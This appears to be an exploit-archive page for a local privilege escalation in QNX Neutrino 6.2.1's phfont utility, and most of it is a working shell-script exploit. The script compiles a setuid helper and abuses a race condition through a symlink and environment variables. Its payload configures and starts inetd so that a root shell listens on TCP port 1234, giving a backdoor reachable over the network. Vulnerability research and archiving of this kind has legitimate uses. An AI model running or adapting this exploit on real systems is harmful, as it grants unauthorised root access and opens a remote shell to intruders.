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QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit

🗓️ 28 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

QNX Neutrino 6.2.1 (phfont) race condition local root exploi

Code

                                                #!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723      30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86 
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root  /bin/sh       sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
} 
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*

                              

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28 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1
24